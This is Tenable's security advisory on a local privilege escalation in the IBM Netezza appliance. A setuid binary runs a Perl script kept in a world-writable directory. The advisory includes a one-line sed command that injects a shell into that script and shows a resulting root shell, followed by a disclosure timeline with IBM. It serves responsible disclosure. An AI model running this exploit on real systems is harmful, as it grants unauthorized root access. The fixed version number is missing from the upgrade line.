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[R2] IBM Netezza Appliance Local Privilege Escalation



While researching detection of IBM Netezza for Nessus, Tenable found a local privilege escalation vulnerability on the Netezza appliance. A setuid root binary located at /opt/nz/nzhwinfo calls a perl script called nzMTM.pl that resides in the world writable /opt/nz/nzhwinfo/ directory. A low privilege user can trivially add a shell into the perl script and become root.

[[email protected] ~]$ sed -i '0,/^/s//sh;exit\n/' /opt/nz/nzhwinfo/nzMTM.pl;/opt/nz/nzhwinfo/nzMTM
sh-4.1# id
uid=0(root) gid=501(nz) groups=0(root),500(libvirt),501(nz)


Upgrade to IBM Netezza Platform Software or later.

Disclosure Timeline

02-08-2018 - Initial Discovery
02-15-2018 - Reported to IBM using https://www.ibm.com/scripts/contact/contact/us/en/security_vulnerabilities/ and informed them of plan to disclose on 05/17/2018.
02-16-2018 - IBM acknowledges receipt of the vulnerability and assign PSIRT Advisory 11125.
02-26-2018 - IBM responds with questions
02-26-2018 - Tenable repiles with answers
03-05-2018 - Tenable asks IBM if they were satisfied with our answers.
03-05-2018 - IBM says "yes" and that they are working on it.
03-07-2018 - IBM and Tenable fall into a long back in forth discussion about the existence of this vulnerability.
03-16-2018 - IBM acknowledges they have recreated the vulnerability.
04-17-2018 - Tenable asks IBM if they have a patch date in mind. Remind them of 90 day deadline.
04-17-2018 - IBM indicates a patch release is planned for the "end of May".
06-07-2018 - Tenable asks IBM if the patch was released.
06-11-2018 - Tenable informs IBM of impending disclosure.
06-11-2018 - IBM asks Tenable to hold off disclosing until the following week.
06-11-2018 - Tenable declines and cites disclosure policy.
06-12-2018 - Tenable issues this advisory.
06-13-2018 - IBM issues an advisory and patch.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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